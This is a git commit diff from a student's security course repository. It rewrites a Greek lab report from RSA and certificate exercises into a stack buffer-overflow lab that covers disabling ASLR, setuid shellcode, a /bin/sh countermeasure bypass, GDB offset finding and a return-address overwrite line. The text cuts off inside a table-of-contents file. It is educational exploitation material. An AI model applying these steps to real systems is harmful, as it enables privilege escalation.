uni

University stuff
git clone git://git.margiolis.net/uni.git
Log | Files | Refs | README | LICENSE

commit ba95bb62eb498da7975174b7e1c55390363ace16
parent ffcdbe764a8b51912ea821f6c30fb6960a43dbf2
Author: Christos Margiolis <christos@margiolis.net>
Date:   Sat,  8 Apr 2023 18:05:00 +0300

security: ex1 and ex2 done

Diffstat:
Msecurity/ex1/doc/doc.pdf | 0
Msecurity/ex1/doc/doc.tex | 261+++++++++++++++----------------------------------------------------------------
Msecurity/ex1/doc/doc.toc | 22+++++++---------------
Asecurity/ex1/doc/res/aslr.png | 0
Asecurity/ex1/doc/res/attack.png | 0
Asecurity/ex1/doc/res/chownshellcode.png | 0
Asecurity/ex1/doc/res/exploit.png | 0
Asecurity/ex1/doc/res/gdb1.png | 0
Asecurity/ex1/doc/res/gdb2.png | 0
Asecurity/ex1/doc/res/hexdump.png | 0
Asecurity/ex1/doc/res/offset.png | 0
Asecurity/ex1/doc/res/shellcode.png | 0
Asecurity/ex1/doc/res/stack.png | 0
Asecurity/ex1/doc/res/stack_gdb.png | 0
Asecurity/ex1/doc/res/zshshellcode.png | 0
Dsecurity/ex1/src/dat/c0.pem | 35-----------------------------------
Dsecurity/ex1/src/dat/cert.in | 3---
Dsecurity/ex1/src/dat/decrypt.in | 4----
Dsecurity/ex1/src/dat/encrypt.in | 3---
Dsecurity/ex1/src/dat/priv.in | 3---
Dsecurity/ex1/src/dat/verify1_inc.in | 3---
Asecurity/ex1/src/exploit.c | 40++++++++++++++++++++++++++++++++++++++++
Asecurity/ex1/src/shellcode.c | 28++++++++++++++++++++++++++++
Asecurity/ex1/src/stack.c | 26++++++++++++++++++++++++++
Dsecurity/ex2/Makefile | 22----------------------
Dsecurity/ex2/dash_shellcode.c | 31-------------------------------
Asecurity/ex2/doc/doc.pdf | 0
Asecurity/ex2/doc/doc.tex | 291++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asecurity/ex2/doc/doc.toc | 31+++++++++++++++++++++++++++++++
Asecurity/ex2/doc/res/cert.png | 0
Asecurity/ex2/doc/res/decrypt.png | 0
Asecurity/ex2/doc/res/encrypt.png | 0
Asecurity/ex2/doc/res/priv.png | 0
Asecurity/ex2/doc/res/sign.png | 0
Asecurity/ex2/doc/res/uniwalogo.png | 0
Asecurity/ex2/doc/res/verify1.png | 0
Asecurity/ex2/doc/res/verify2.png | 0
Asecurity/ex2/doc/res/verify3.png | 0
Dsecurity/ex2/exploit.c | 42------------------------------------------
Dsecurity/ex2/shellcode.c | 24------------------------
Rsecurity/ex1/src/Makefile -> security/ex2/src/Makefile | 0
Rsecurity/ex1/src/atoh -> security/ex2/src/atoh | 0
Asecurity/ex2/src/dat/c0.pem | 35+++++++++++++++++++++++++++++++++++
Asecurity/ex2/src/dat/cert.in | 3+++
Asecurity/ex2/src/dat/decrypt.in | 4++++
Asecurity/ex2/src/dat/encrypt.in | 3+++
Asecurity/ex2/src/dat/priv.in | 3+++
Rsecurity/ex1/src/dat/verify1_cor.in -> security/ex2/src/dat/verify1_cor.in | 0
Asecurity/ex2/src/dat/verify1_inc.in | 3+++
Rsecurity/ex1/src/dat/verify2.in -> security/ex2/src/dat/verify2.in | 0
Rsecurity/ex1/src/decrypt.c -> security/ex2/src/decrypt.c | 0
Rsecurity/ex1/src/encrypt.c -> security/ex2/src/encrypt.c | 0
Rsecurity/ex1/src/htoa -> security/ex2/src/htoa | 0
Rsecurity/ex1/src/priv.c -> security/ex2/src/priv.c | 0
Rsecurity/ex1/src/sign.c -> security/ex2/src/sign.c | 0
Rsecurity/ex1/src/tests -> security/ex2/src/tests | 0
Rsecurity/ex1/src/verify.c -> security/ex2/src/verify.c | 0
Dsecurity/ex2/stack.c | 30------------------------------
58 files changed, 522 insertions(+), 428 deletions(-)

diff --git a/security/ex1/doc/doc.pdf b/security/ex1/doc/doc.pdf Binary files differ. diff --git a/security/ex1/doc/doc.tex b/security/ex1/doc/doc.tex @@ -11,11 +11,17 @@ \usepackage[margin=0.5in]{geometry} \usepackage[backend=bibtex]{biblatex} -\lstset{basicstyle=\footnotesize\ttfamily,breaklines=true} +\lstset { + basicstyle=\ttfamily, + columns=fullflexible, + breaklines=true, + keepspaces=true, + showstringspaces=false +} \title{Εργαστήριο Ασφάλειας στην Τεχνολογία της Πληροφορίας -- Εργασία 1} \author{Χρήστος Μαργιώλης -- 19390133} -\date{Απρίλιος 2022} +\date{Απρίλιος 2023} \begin{document} @@ -36,252 +42,81 @@ \tableofcontents \pagebreak -\section{Δομή αρχείων} +\section{Δραστηριότητα 1: Ανάπτυξη και δοκιμή του shellcode} -\subsection{Αρχεία C} +Αρχικά απενεργοποιούμε το ASLR: \\ -Ο κώδικας C, για δική μου διευκόλυνση στην δοκιμή διαφόρων εισόδων, περιέχει και -ρουτίνες διαβάσματος αρχείων, πέρα από την επίλυση των προβλημάτων. Τα περισσότερα -προγράμματα χρησιμοποιούνται σε συνδυασμό με κάποιο από τα scripts που αναλύονται -παρακάτω. Αυτό προσθέτει μεν πολυπλοκότητα, αλλά κάνει τα προγράμματα πιο ευέλικτα. -Σε κάθε δραστηριότητα εξηγώ πως πρέπει να τρέξουμε το πρόγραμμα. +\includegraphics[width=\textwidth]{res/aslr.png} \\ -\subsection{Scripts} +Γράφουμε το πρόγραμμα \lstinline{shellcode.c}: -Υπάρχουν τα εξής 3 βοηθητικά scripts: -\begin{itemize} - \item \lstinline{atoh}: Μετατρέπει ένα string από ASCII σε Hex. - \item \lstinline{htoa}: Μετατρέπει ένα string από Hex σε ASCII. - \item \lstinline{tests}: Αναδεικνύει/αυτοματοποιεί την λειτουργία - όλων των προγραμμάτων. -\end{itemize} +\lstinputlisting[language=c]{../src/shellcode.c} -\subsection{Αρχεία δεδομένων} +Κάνουμε compile και το τρέχουμε: \\ -Στο directory \lstinline{src/dat} βρίσκονται αρχεία δεδομένων που -χρησιμοποιούνται από τα προγράμματα. 'Ολα τα αρχεία ακολουθούν την ονομασία -\lstinline{<program>.in} όπου \lstinline{program} το όνομα του προγράμματος που -το χρησιμοποιεί. Προκειμένου να αποφευχθεί τυχόν περιττή πολυπλοκότητα, τα -προγράμματα δεν κάνουν ελέγχους εγκυρότητας των αρχείων εισόδου. +\includegraphics[width=\textwidth]{res/shellcode.png} \\ -\subsection{Makefile} +Μετατρέπουμε το πρόγραμμα σε setuid: \\ -Το \lstinline{Makefile} διαθέτει τις παρακάτω επιλογές: -\begin{itemize} - \item \lstinline{make}: Κάνει compile όλα τα προγράμματα. - \item \lstinline{make clean}: Σβήνει τα εκτελέσιμα αρχεία που έχουν - παραχθεί. -\end{itemize} +\includegraphics[width=\textwidth]{res/chownshellcode.png} \\ -\section{Δραστηριότητα 1: Δημιουργία ιδιωτικού κλειδιού} +Παράκαμψη αντιμέτρου \lstinline{/bin/sh} δημιουργώντας symbolic link με το +\lstinline{/bin/zsh} και επανεκτέλεση του προγράμματος: \\ -Κώδικας: \lstinline{priv.c} \\ -Χρήση: \lstinline{priv [-v] input} \\ +\includegraphics[width=\textwidth]{res/zshshellcode.png} \\ -Για να δημιουργήσουμε ένα ιδιωτικό κλειδί RSA, πρέπει αρχικά να υπολογίσουμε -την συνάρτηση: -\[\phi(n) = (p-1)(q-1)\] -Στην συνέχεια, θα υπολογίσουμε την εξίσωση: -\[e \cdot d \mod \phi(n) = 1\] -Λύνοντας ως προς $d$. Ο υπολογισμός του ιδιωτικού κλειδιού μέσα στο πρόγραμμα -γίνεται με τις εξής εντολές: \\ +\section{Δραστηριότητα 2: Ανάπτυξη του ευπαθούς προγράμματος} -\begin{lstlisting}[language=C] - ... - BN_dec2bn(&one, "1"); - BN_sub(foo, p, one); - BN_sub(bar, q, one); - BN_mul(phi, foo, bar, ctx); - BN_mod_inverse(d, e, phi, ctx); -\end{lstlisting} +\lstinputlisting[language=c]{../src/stack.c} -Το πρόγραμμα, όταν το τρέξουμε απλώς με το αρχείο εισόδου, τυπώνει το -ιδιωτικό κλειδί. Αν του δώσουμε και την επιλογή \lstinline{-v}, τυπώνει -αναλυτικά τα $e$, $n$ και $d$. Η επιλογή αυτή είναι χρήσιμη για την -παραγωγή του αρχείου εισόδου που χρησιμοποιείται για την κρυπτογράφηση -μηνυμάτων. +Κάνουμε compile και το τρέχουμε: \\ -Ενδεικτικά τρεξίματα: \\ +\includegraphics[width=\textwidth]{res/stack.png} \\ -\begin{lstlisting} - $ ./priv dat/priv.in - 63F67E805D8DEB0B4182C57C3DC24F3C1350CF182E8ABF85FD24062A3BC7F2EB +\section{Δραστηριότητα 3: Δημιουργία του αρχείου εισόδου (badfile)} - $ ./priv -v dat/priv.in - e: 0D88C3 - n: 71D9BBC5C01F9B50DDFE5F2EC331FAB21081009D014E9615C277670C61591ECF - d: 63F67E805D8DEB0B4182C57C3DC24F3C1350CF182E8ABF85FD24062A3BC7F2EB -\end{lstlisting} +\lstinputlisting[language=c]{../src/exploit.c} -\section{Δραστηριότητα 2: Κρυπτογράφηση μηνύματος} +Κάνουμε compile και τρέχουμε το πρόγραμμα ώστε να παραχθεί το αρχείο εισόδου: \\ -Κώδικας: \lstinline{encrypt.c} \\ -Χρήση: \lstinline{./atoh 'msg' | encrypt input} \\ +\includegraphics[width=\textwidth]{res/exploit.png} \\ -Η κρυπτογράφηση ενός μηνύματος γίνεται με τον τύπο: -\[C = P^e \mod n\] -Και η αποκρυπτογράφηση του: -\[P = C^d \mod n\] +Αναλύουμε τα περιεχόμενα του badfile μέσω του προγράμματος hexdump: \\ -Η συνάρτηση OpenSSL για την πράξη αυτή είναι η \lstinline{BN_mod_exp()}. Οι -παρακάτω εντολές στον κώδικα εκτελούν την (απο)κρυπτογράφηση: \\ +\includegraphics[width=\textwidth]{res/hexdump.png} \\ -\begin{lstlisting}[language=C] - ... - /* Encrypt message */ - BN_mod_exp(encrstr, str, e, n, ctx); - /* Decrypt message */ - BN_mod_exp(decrstr, encrstr, d, n, ctx); -\end{lstlisting} +\section{Δραστηριότητα 4: Εύρεση της διεύθυνσης του shellcode μέσα στο badfile} -Παρακάτω φαίνεται ένα ενδεικτικό τρέξιμο. Το μήνυμα μετατρέπεται σε Hex με την -χρήση του \lstinline{atoh} script. Αξίζει να σημειωθεί ότι στην υλοποίησή μου, -τα $e$, $n$ και $d$ υπολογίζονται από το \lstinline{priv.c} και -χρησιμοποιούνται κατευθείαν από το \lstinline{encrypt.c} ώστε να αποφευχθεί η -επανάληψη κώδικα, εξ'ου και η χρήση του \lstinline{priv} στην αρχή: \\ - -\begin{lstlisting} - $ ./priv -v dat/priv.in | awk '{print $2}' > dat/encrypt.in - $ ./atoh 'Christos Margiolis' | ./encrypt dat/encrypt.in - received: 69726843736F747372614D206C6F69677369 - encrypted: 192FDF7BCA2F402253E344F1A25476D4276523750DED4BE6FC058F179219BA6D - decrypted: 69726843736F747372614D206C6F69677369 -\end{lstlisting} +Κάνουμε compile το πρόγραμμα δίνοντας την επιλογή \lstinline{-g} ώστε να +παραχθει debug δεδομένα τα οποία θα χρησιμοποιηθούν από τον GDB: \\ -\section{Δραστηριότητα 3: Αποκρυπτογράφηση μηνύματος} +\includegraphics[width=\textwidth]{res/stack_gdb.png} \\ -Κώδικας: \lstinline{decrypt.c} \\ -Χρήση: \lstinline{decrypt input | htoa} \\ +Βάζουμε breakpoint στην συνάρτηση \lstinline{bof()} και τρέχουμε το πρόγραμμα στον +GDB: \\ -'Οπως και στην δραστηριότητα 3, χρησιμοποιείται ο ίδιος τύπος για την -αποκρυπτογράφηση ενός μηνύματος. Η υλοποίηση είναι η ίδια, με την διαφορά ότι -τα δεδομένα εισόδου είναι διαφορετικά. Το πρόγραμμα τυπώνει το -αποκρυπτογραφημένο μήνυμα σε Hex, οπότε διοχετεύουμε την έξοδό του στο -\lstinline{htoa} script ώστε να μετατραπεί σε ASCII: \\ +\includegraphics[width=\textwidth]{res/gdb1.png} \\ -\begin{lstlisting} - $ ./decrypt dat/decrypt.in | ./htoa - INFOSEC Spring 2022 -\end{lstlisting} +Τυπώνουμε τις διευθύνσεις του buffer, καθώς και του καταχωρητή \lstinline{ebp} +και τέλος υπολογίζουμε την απόστασή τους: \\ -\section{Δραστηριότητα 4: Υπογραφή μηνύματος} +\includegraphics[width=\textwidth]{res/gdb2.png} \\ -Κώδικας: \lstinline{sign.c} \\ -Χρήση: \lstinline{atoh 'msg' | sign input} \\ +\section{Δραστηριότητα 5: Προετοιμασία του αρχείου εισόδου} -Η υπογραφή ενός μηνύματος γίνεται με τον τύπο: -\[S = H(P)^d \mod n\] +Τροποποιούμε τον κώδικα του \lstinline{exploit.c} ώστε να δείχνει στην σωστή +διεύθυνση μνήμης (το offset \lstinline{0x60} προέκυψε μετά από δοκιμές): -Στον κώδικα, υλοποίηση είναι γίνεται ως εξής: \\ \begin{lstlisting}[language=C] - ... - BN_mod_exp(sign, str, d, n, ctx); + *((long *)(buf + 0x24)) = 0xbfffeb48 + 0x60; \end{lstlisting} -Στο παρακάτω ενδεικτικό τρέξιμο, παρατηρούμε ότι μία πολύ μικρή αλλαγή στο -μήνυμα θα παράξει τελείως διαφορετική υπογραφή, οπότε είμαστε και σίγουροι ότι -τα μηνύματα δεν ήτανε ίδια: \\ - -\begin{lstlisting} - $ ./atoh 'This is a message' | ./sign dat/decrypt.in - 96798DC95A5ECBBEF35D6D68588157CA2DAD163B45453B4B6D80FCC3BE15E8ED - - $ ./atoh 'This iz a message' | ./sign dat/decrypt.in - D7562984FFA684E2850A2763F4DD1DA045EFD2DB4CFBF6F40E6579F3E3AD9536 -\end{lstlisting} +Μεταγλωττίζουμε και ελέγχουμε το νέο badfile: \\ -\section{Δραστηριότητα 5: Επαλήθευση υπογραφής} - -Η επαλήθευση της υπογραφής γίνεται με τον τύπο: -\[Digest = S^e \mod n\] - -Στον κώδικα, υλοποίηση είναι γίνεται ως εξής: \\ -\begin{lstlisting}[language=C] - ... - BN_mod_exp(str, sign, e, n, ctx); -\end{lstlisting} - -\subsection{Περίπτωση Α} - -Αρχικά θα δώσουμε ως είσοδο την έγκυρη υπογραφή: - -\begin{lstlisting} - $ ./verify dat/verify1_cor.in - e: 010001 - n: AE1CD4DC432798D933779FBD46C6E1247F0CF1233595113AA51B450F18116115 - sign: 643D6F34902D9C7EC90CB0B2BCA36C47FA37165C0005CAB026C0542CBDB6802F - str: 4C61756E63682061206D697373696C652E - - $ ./verify dat/verify1_cor.in | tail -1 | awk '{print $2}' | ./htoa - Launch a missile. -\end{lstlisting} +\includegraphics[width=\textwidth]{res/offset.png} \\ -'Οταν αλλάξουμε το τελευταίο byte της υπογραφής, παρατηρούμε ότι η επαλήθευση -δεν είναι έγκυρη: +\section{Δραστηριότητα 6: Εκτέλεση της επίθεσης} -\begin{lstlisting} - $ ./verify dat/verify1_inc.in - e: 010001 - n: AE1CD4DC432798D933779FBD46C6E1247F0CF1233595113AA51B450F18116115 - sign: 643D6F34902D9C7EC90CB0B2BCA36C47FA37165C0005CAB026C0542CBDB6803F - str: 91471927C80DF1E42C154FB4638CE8BC726D3D66C83A4EB6B7BE0203B41AC294 - - $ ./verify dat/verify1_cor.in | tail -1 | awk '{print $2}' | ./htoa - ??,O?c??rm=f?:N????? -\end{lstlisting} - -\subsection{Περίπτωση Β} - -Από το παρακάτω τρέξιμο, βλέπουμε ότι η υπόγραφη είναι πράγματι της Alice: - -\begin{lstlisting} - $ ./verify dat/verify2.in - e: 010001 - n: DCBFFE3E51F62E09CE7032E2677A78946A849DC4CDDE3A4D0CB81629242FB1A5 - sign: DB3F7CDB93483FC1E70E4EACA650E3C6505A3E5F49EA6EDF3E95E9A7C6C7A320 - str: 506C65617365207472616E73666572206D652024323030302E416C6963652E - - $ ./verify dat/verify2.in | tail -1 | awk '{print $2}' | ./htoa - Please transfer me $2000.Alice. -\end{lstlisting} - -\section{Δραστηριότητα 6: Μη-αυτόματη επαλήθευση πιστοποιητικού X.509} - -Κατεβάζουμε το πιστοποιητικό της ιστοσελίδας margiolis.net: -\begin{lstlisting} - $ openssl s_client -connect margiolis.net:443 -showcerts \ - </dev/null 2>/dev/null | openssl x509 -outform pem > dat/c0.pem -\end{lstlisting} - -Εξάγουμε το $e$: -\begin{lstlisting} - $ openssl x509 -in dat/c0.pem -text -noout | grep 'Exponent' | - awk '{print $3}' | sed 's/(//;s/)//;s/0x//' > dat/cert.in -\end{lstlisting} - -Εξάγουμε το $n$: -\begin{lstlisting} - $ openssl x509 -in dat/c0.pem -noout -modulus | - sed 's/Modulus=//' >> dat/cert.in -\end{lstlisting} - -Εξάγουμε την υπογραφή: -\begin{lstlisting} - $ openssl x509 -in dat/c0.pem -text -noout \ - -certopt ca_default -certopt no_validity \ - -certopt no_serial -certopt no_subject \ - -certopt no_extensions -certopt no_signame | - sed 1d | tr -d '[:space:]:' | sha256 >> dat/cert.in -\end{lstlisting} - -Τέλος, επαληθεύουμε το πιστοποιητικό (το output είναι πολύ μεγάλο για να -συμπεριληφθεί ολόκληρο): -\begin{lstlisting} - $ ./verify dat/cert.in - e: 010001 - n: B8CF8F..........1AE7F0DE351B - sign: E8230B...........AC59DF719 - str: 46F35C99.........5034620EF8149AE -\end{lstlisting} +\includegraphics[width=\textwidth]{res/attack.png} \\ \end{document} diff --git a/security/ex1/doc/doc.toc b/security/ex1/doc/doc.toc @@ -1,16 +1,8 @@ \boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax -\defcounter {refsection}{0}\relax -\select@language {english} -\contentsline {section}{\numberline {1}\IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\textomicron }\IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\acctonos \texteta } \IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textchi }{\mathchi }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\acctonos \textiota }\IeC {\TextOrMath {\textomega }{\mathomega }}\IeC {\TextOrMath {\textnu }{\mathnu }}}{2} -\contentsline {subsection}{\numberline {1.1}\IeC {\textAlpha }\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textchi }{\mathchi }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\acctonos \textiota }\IeC {\TextOrMath {\textalpha }{\mathalpha }} C}{2} -\contentsline {subsection}{\numberline {1.2}Scripts}{2} -\contentsline {subsection}{\numberline {1.3}\IeC {\textAlpha }\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textchi }{\mathchi }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\acctonos \textiota }\IeC {\TextOrMath {\textalpha }{\mathalpha }} \IeC {\TextOrMath {\textdelta }{\mathdelta }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\TextOrMath {\textdelta }{\mathdelta }}\IeC {\textomicron }\IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\acctonos \textepsilon }\IeC {\TextOrMath {\textnu }{\mathnu }}\IeC {\TextOrMath {\textomega }{\mathomega }}\IeC {\TextOrMath {\textnu }{\mathnu }}}{2} -\contentsline {subsection}{\numberline {1.4}Makefile}{2} -\contentsline {section}{\numberline {2}\IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\acctonos \textomicron }\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textalpha }{\mathalpha }} 1: \IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\textomicron }\IeC {\TextOrMath {\textupsilon }{\mathupsilon }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textgamma }{\mathgamma }}\IeC {\acctonos \textiota }\IeC {\TextOrMath {\textalpha }{\mathalpha }} \IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\TextOrMath {\textdelta }{\mathdelta }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\TextOrMath {\textomega }{\mathomega }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\TextOrMath {\textkappa }{\mathkappa }}\IeC {\textomicron }\IeC {\acctonos \textupsilon } \IeC {\TextOrMath {\textkappa }{\mathkappa }}\IeC {\TextOrMath {\textlambda }{\mathlambda }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\TextOrMath {\textdelta }{\mathdelta }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\textomicron }\IeC {\acctonos \textupsilon }}{2} -\contentsline {section}{\numberline {3}\IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\acctonos \textomicron }\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textalpha }{\mathalpha }} 2: \IeC {\textKappa }\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textupsilon }{\mathupsilon }}\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\textomicron }\IeC {\TextOrMath {\textgamma }{\mathgamma }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\acctonos \textalpha }\IeC {\TextOrMath {\textphi }{\mathphi }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texteta }{\matheta }} \IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textnu }{\mathnu }}\IeC {\acctonos \textupsilon }\IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\textomicron }\IeC {\TextOrMath {\textvarsigma }{\mathvarsigma }}}{3} -\contentsline {section}{\numberline {4}\IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\acctonos \textomicron }\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textalpha }{\mathalpha }} 3: \IeC {\textAlpha }\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\textomicron }\IeC {\TextOrMath {\textkappa }{\mathkappa }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textupsilon }{\mathupsilon }}\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\textomicron }\IeC {\TextOrMath {\textgamma }{\mathgamma }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\acctonos \textalpha }\IeC {\TextOrMath {\textphi }{\mathphi }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texteta }{\matheta }} \IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textnu }{\mathnu }}\IeC {\acctonos \textupsilon }\IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\textomicron }\IeC {\TextOrMath {\textvarsigma }{\mathvarsigma }}}{3} -\contentsline {section}{\numberline {5}\IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\acctonos \textomicron }\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textalpha }{\mathalpha }} 4: \IeC {\TextOrMath {\textUpsilon }{\mathUpsilon }}\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\textomicron }\IeC {\TextOrMath {\textgamma }{\mathgamma }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textphi }{\mathphi }}\IeC {\acctonos \texteta } \IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textnu }{\mathnu }}\IeC {\acctonos \textupsilon }\IeC {\TextOrMath {\textmu }{\mathmu }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\textomicron }\IeC {\TextOrMath {\textvarsigma }{\mathvarsigma }}}{4} -\contentsline {section}{\numberline {6}\IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\acctonos \textomicron }\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textalpha }{\mathalpha }} 5: \IeC {\textEpsilon }\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textlambda }{\mathlambda }}\IeC {\acctonos \texteta }\IeC {\TextOrMath {\texttheta }{\maththeta }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\TextOrMath {\textupsilon }{\mathupsilon }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texteta }{\matheta }} \IeC {\TextOrMath {\textupsilon }{\mathupsilon }}\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\textomicron }\IeC {\TextOrMath {\textgamma }{\mathgamma }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textphi }{\mathphi }}\IeC {\acctonos \texteta }\IeC {\TextOrMath {\textvarsigma }{\mathvarsigma }}}{4} -\contentsline {subsection}{\numberline {6.1}\IeC {\TextOrMath {\textPi }{\mathPi }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\acctonos \textiota }\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textomega }{\mathomega }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texteta }{\matheta }} \IeC {\textAlpha }}{4} -\contentsline {subsection}{\numberline {6.2}\IeC {\TextOrMath {\textPi }{\mathPi }}\IeC {\TextOrMath {\textepsilon }{\mathepsilon }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\acctonos \textiota }\IeC {\TextOrMath {\textpi }{\mathpi }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\textomega }{\mathomega }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texteta }{\matheta }} \IeC {\textBeta }}{5} -\contentsline {section}{\numberline {7}\IeC {\TextOrMath {\textDelta }{\mathDelta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textalpha }{\mathalpha }}\IeC {\TextOrMath {\textsigma }{\mathsigma }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\textrho }{\mathrho }}\IeC {\TextOrMath {\textiota }{\mathiota }}\IeC {\acctonos \textomicron }\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath {\texteta }{\matheta }}\IeC {\TextOrMath {\texttau }{\mathtau }}\IeC {\TextOrMath 